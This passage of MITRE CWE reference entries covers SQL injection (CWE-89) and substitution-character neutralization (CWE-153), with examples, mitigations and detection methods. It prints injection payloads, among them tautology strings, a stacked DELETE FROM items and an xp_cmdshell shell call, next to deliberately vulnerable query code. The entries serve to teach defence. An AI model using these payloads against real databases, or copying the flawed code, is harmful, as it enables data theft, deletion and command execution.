sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
...

The query that this code intends to execute follows:

(informative)
 
SELECT * FROM items WHERE owner = <userName> AND itemname = <itemName>;

However, because the query is constructed dynamically by concatenating a constant base query string and a user input string, the query only behaves correctly if itemName does not contain a single-quote character. If an attacker with the user name wiley enters the string:

(attack code)
 
name' OR 'a'='a

for itemName, then the query becomes the following:

(attack code)
 
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name' OR 'a'='a';

The addition of the:

(attack code)
 
OR 'a'='a

condition causes the WHERE clause to always evaluate to true, so the query becomes logically equivalent to the much simpler query:

(attack code)
 
SELECT * FROM items;

This simplification of the query allows the attacker to bypass the requirement that the query only return items owned by the authenticated user; the query now returns all entries stored in the items table, regardless of their specified owner.

Example 3

This example examines the effects of a different malicious value passed to the query constructed and executed in the previous example.

If an attacker with the user name wiley enters the string:

(attack code)
 
name'; DELETE FROM items; --

for itemName, then the query becomes the following two queries:

(attack code)
Example Language: SQL 
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name';
DELETE FROM items;
--'

Many database servers, including Microsoft(R) SQL Server 2000, allow multiple SQL statements separated by semicolons to be executed at once. While this attack string results in an error on Oracle and other database servers that do not allow the batch-execution of statements separated by semicolons, on databases that do allow batch execution, this type of attack allows the attacker to execute arbitrary commands against the database.

Notice the trailing pair of hyphens (--), which specifies to most database servers that the remainder of the statement is to be treated as a comment and not executed. In this case the comment character serves to remove the trailing single-quote left over from the modified query. On a database where comments are not allowed to be used in this way, the general attack could still be made effective using a trick similar to the one shown in the previous example.

If an attacker enters the string

(attack code)
 
name'; DELETE FROM items; SELECT * FROM items WHERE 'a'='a

Then the following three valid statements will be created:

(attack code)
 
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name';
DELETE FROM items;
SELECT * FROM items WHERE 'a'='a';

One traditional approach to preventing SQL injection attacks is to handle them as an input validation problem and either accept only characters from an allowlist of safe values or identify and escape a denylist of potentially malicious values. Allowlists can be a very effective means of enforcing strict input validation rules, but parameterized SQL statements require less maintenance and can offer more guarantees with respect to security. As is almost always the case, denylisting is riddled with loopholes that make it ineffective at preventing SQL injection attacks. For example, attackers can:

  • Target fields that are not quoted
  • Find ways to bypass the need for certain escaped meta-characters
  • Use stored procedures to hide the injected meta-characters.

Manually escaping characters in input to SQL queries can help, but it will not make your application secure from SQL injection attacks.

Another solution commonly proposed for dealing with SQL injection attacks is to use stored procedures. Although stored procedures prevent some types of SQL injection attacks, they do not protect against many others. For example, the following PL/SQL procedure is vulnerable to the same SQL injection attack shown in the first example.

(bad code)
 
procedure get_item ( itm_cv IN OUT ItmCurTyp, usr in varchar2, itm in varchar2)
is open itm_cv for
' SELECT * FROM items WHERE ' || 'owner = '|| usr || ' AND itemname = ' || itm || ';
end get_item;

Stored procedures typically help prevent SQL injection attacks by limiting the types of statements that can be passed to their parameters. However, there are many ways around the limitations and many interesting statements that can still be passed to stored procedures. Again, stored procedures can prevent some exploits, but they will not make your application secure against SQL injection attacks.

Example 4

MS SQL has a built in function that enables shell command execution. An SQL injection in such a context could be disastrous. For example, a query of the form:

(bad code)
 
SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='$user_input' ORDER BY PRICE

Where $user_input is taken from an untrusted source.

If the user provides the string:

(attack code)
 
'; exec master..xp_cmdshell 'dir' --

The query will take the following form:

(attack code)
 
SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=''; exec master..xp_cmdshell 'dir' --' ORDER BY PRICE

Now, this query can be broken down into:

  1. a first SQL query: SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='';
  2. a second SQL query, which executes the dir command in the shell: exec master..xp_cmdshell 'dir'
  3. an MS SQL comment: --' ORDER BY PRICE

As can be seen, the malicious input changes the semantics of the query into a query, a shell command execution and a comment.

Example 5

This code intends to print a message summary given the message ID.

(bad code)
Example Language: PHP 
$id = $_COOKIE["mid"];
mysql_query("SELECT MessageID, Subject FROM messages WHERE MessageID = '$id'");

The programmer may have skipped any input validation on $id under the assumption that attackers cannot modify the cookie. However, this is easy to do with custom client code or even in the web browser.

While $id is wrapped in single quotes in the call to mysql_query(), an attacker could simply change the incoming mid cookie to:

(attack code)
 
1432' or '1' = '1

This would produce the resulting query:

(result)
 
SELECT MessageID, Subject FROM messages WHERE MessageID = '1432' or '1' = '1'

Not only will this retrieve message number 1432, it will retrieve all other messages.

In this case, the programmer could apply a simple modification to the code to eliminate the SQL injection:

(good code)
Example Language: PHP 
$id = intval($_COOKIE["mid"]);
mysql_query("SELECT MessageID, Subject FROM messages WHERE MessageID = '$id'");

However, if this code is intended to support multiple users with different message boxes, the code might also need an access control check (CWE-285) to ensure that the application user has the permission to see that message.

Example 6

This example attempts to take a last name provided by a user and enter it into a database.

(bad code)
Example Language: Perl 
$userKey = getUserID();
$name = getUserInput();

# ensure only letters, hyphens and apostrophe are allowed
$name = allowList($name, "^a-zA-z'-$");
$query = "INSERT INTO last_names VALUES('$userKey', '$name')";

While the programmer applies an allowlist to the user input, it has shortcomings. First of all, the user is still allowed to provide hyphens, which are used as comment structures in SQL. If a user specifies "--" then the remainder of the statement will be treated as a comment, which may bypass security logic. Furthermore, the allowlist permits the apostrophe, which is also a data / command separator in SQL. If a user supplies a name with an apostrophe, they may be able to alter the structure of the whole statement and even change control flow of the program, possibly accessing or modifying confidential information. In this situation, both the hyphen and apostrophe are legitimate characters for a last name and permitting them is required. Instead, a programmer may want to use a prepared statement or apply an encoding routine to the input to prevent any data / directive misinterpretations.

+ Observed Examples
ReferenceDescription
SQL injection in security product dashboard using crafted certificate fields
SQL injection in time and billing software, as exploited in the wild per CISA KEV.
SQL injection in file-transfer system via a crafted Host header, as exploited in the wild per CISA KEV.
SQL injection in firewall product's admin interface or user portal, as exploited in the wild per CISA KEV.
An automation system written in Go contains an API that is vulnerable to SQL injection allowing the attacker to read privileged data.
chain: SQL injection in library intended for database authentication allows SQL injection and authentication bypass.
SQL injection through an ID that was supposed to be numeric.
SQL injection through an ID that was supposed to be numeric.
SQL injection via user name.
SQL injection via user name or password fields.
SQL injection in security product, using a crafted group name.
SQL injection in authentication library.
SQL injection in vulnerability management and reporting tool, using a crafted password.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.

Phase: Architecture and Design

Strategy: Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.

Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.

When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.

If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.

Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.

In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.

Phase: Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness: Moderate

Note: An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phases: Operation; Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
+ Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or do not require any code changes.

Automated static analysis might not be able to detect the usage of custom API functions or third-party libraries that indirectly invoke SQL commands, leading to false negatives - especially if the API/library code is not available for analysis.

Note: This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness: Moderate

Manual Analysis

Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: High

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Database Scanners
Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner

Effectiveness: High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.713OWASP Top Ten 2007 Category A2 - Injection Flaws
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.722OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.727OWASP Top Ten 2004 Category A6 - Injection Flaws
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7512009 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8012010 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.810OWASP Top Ten 2010 Category A1 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8642011 Top 25 - Insecure Interaction Between Components
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.929OWASP Top Ten 2013 Category A1 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.10057PK - Input Validation and Representation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1027OWASP Top Ten 2017 Category A1 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1131CISQ Quality Measures (2016) - Security
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1200Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1308CISQ Quality Measures - Security
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1337Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1340CISQ Data Protection Measures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1347OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1387Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1409Comprehensive Categorization: Injection
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1425Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

SQL injection can be resultant from special character mismanagement, MAID, or denylist/allowlist problems. It can be primary to authentication errors.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERSQL injection
7 Pernicious KingdomsSQL Injection
CLASPSQL injection
OWASP Top Ten 2007A2CWE More SpecificInjection Flaws
OWASP Top Ten 2004A1CWE More SpecificUnvalidated Input
OWASP Top Ten 2004A6CWE More SpecificInjection Flaws
WASC19SQL Injection
Software Fault PatternsSFP24Tainted input to command
OMG ASCSMASCSM-CWE-89
SEI CERT Oracle Coding Standard for JavaIDS00-JExactPrevent SQL injection
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 1: SQL Injection." Page 3. McGraw-Hill. 2010.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 12, "Database Input Issues" Page 397. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-867] OWASP. "SQL Injection Prevention Cheat Sheet". <http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet>.
[REF-868] Steven Friedl. "SQL Injection Attacks by Example". 2007-10-10. <http://www.unixwiz.net/techtips/sql-injection.html>.
[REF-869] Ferruh Mavituna. "SQL Injection Cheat Sheet". 2007-03-15. <https://web.archive.org/web/20080126180244/http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/>. URL validated: 2023-04-07.
[REF-870] David Litchfield, Chris Anley, John Heasman and Bill Grindlay. "The Database Hacker's Handbook: Defending Database Servers". Wiley. 2005-07-14.
[REF-871] David Litchfield. "The Oracle Hacker's Handbook: Hacking and Defending Oracle". Wiley. 2007-01-30.
[REF-872] Microsoft. "SQL Injection". 2008-12. <https://learn.microsoft.com/en-us/previous-versions/sql/sql-server-2008-r2/ms161953(v=sql.105)?redirectedfrom=MSDN>. URL validated: 2023-04-07.
[REF-873] Microsoft Security Vulnerability Research & Defense. "SQL Injection Attack". <https://msrc.microsoft.com/blog/2008/05/sql-injection-attack/>. URL validated: 2023-04-07.
[REF-874] Michael Howard. "Giving SQL Injection the Respect it Deserves". 2008-05-15. <https://learn.microsoft.com/en-us/archive/blogs/michael_howard/giving-sql-injection-the-respect-it-deserves>. URL validated: 2023-04-07.
[REF-875] Frank Kim. "Top 25 Series - Rank 2 - SQL Injection". SANS Software Security Institute. 2010-03-01. <https://www.sans.org/blog/top-25-series-rank-2-sql-injection/>. URL validated: 2023-04-07.
[REF-76] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege>. URL validated: 2023-04-07.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "SQL Queries", Page 431. 1st Edition. Addison Wesley. 2006.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 17, "SQL Injection", Page 1061. 1st Edition. Addison Wesley. 2006.
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-89. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01
(CWE 1.0, 2008-09-09)
Eric DalciCigital
updated Time_of_Introduction
2008-08-01
(CWE 1.0, 2008-09-09)
KDM Analytics
added/updated white box definitions
2008-08-15
(CWE 1.0, 2008-09-09)
Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Modes_of_Introduction, Name, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2008-11-24CWE Content TeamMITRE
updated Observed_Examples
2009-01-12CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Enabling_Factors_for_Exploitation, Modes_of_Introduction, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationships
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples, Name, Related_Attack_Patterns
2009-07-17KDM Analytics
Improved the White_Box_Definition
2009-07-27CWE Content TeamMITRE
updated Description, Name, White_Box_Definitions
2009-12-28CWE Content TeamMITRE
updated Potential_Mitigations
2010-02-16CWE Content TeamMITRE
updated Demonstrative_Examples, Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2010-04-05CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Name, Potential_Mitigations, References, Relationships
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Relationships
2011-09-13CWE Content TeamMITRE
updated Potential_Mitigations, References
2012-05-11CWE Content TeamMITRE
updated Potential_Mitigations, References, Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-06-23CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Enabling_Factors_for_Exploitation, Likelihood_of_Exploit, Modes_of_Introduction, Observed_Examples, References, Relationships, White_Box_Definitions
2018-03-27CWE Content TeamMITRE
updated References, Relationships
2019-01-03CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Relationships
2019-09-19CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships, Time_of_Introduction
2020-06-25CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations, Relationship_Notes
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2021-07-20CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-06-28CWE Content TeamMITRE
updated Observed_Examples, Relationships
2022-10-13CWE Content TeamMITRE
updated Observed_Examples, References
2023-01-31CWE Content TeamMITRE
updated Demonstrative_Examples, Description
2023-04-27CWE Content TeamMITRE
updated References, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11SQL Injection
2008-09-09Failure to Sanitize Data into SQL Queries (aka 'SQL Injection')
2009-01-12Failure to Sanitize Data within SQL Queries (aka 'SQL Injection')
2009-05-27Failure to Preserve SQL Query Structure (aka 'SQL Injection')
2009-07-27Failure to Preserve SQL Query Structure ('SQL Injection')
2010-06-21Improper Sanitization of Special Elements used in an SQL Command ('SQL Injection')

CWE-153: Improper Neutralization of Substitution Characters

Weakness ID: 153
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as substitution characters when they are sent to a downstream component.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.138Improper Neutralization of Special Elements
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Observed Examples
ReferenceDescription
Server trusts client to expand macros, allows macro characters to be expanded to trigger resultant information exposure.
+ Potential Mitigations
Developers should anticipate that substitution characters will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Research Gap

Under-studied.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERSubstitution Character
Software Fault PatternsSFP24Tainted input to command
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
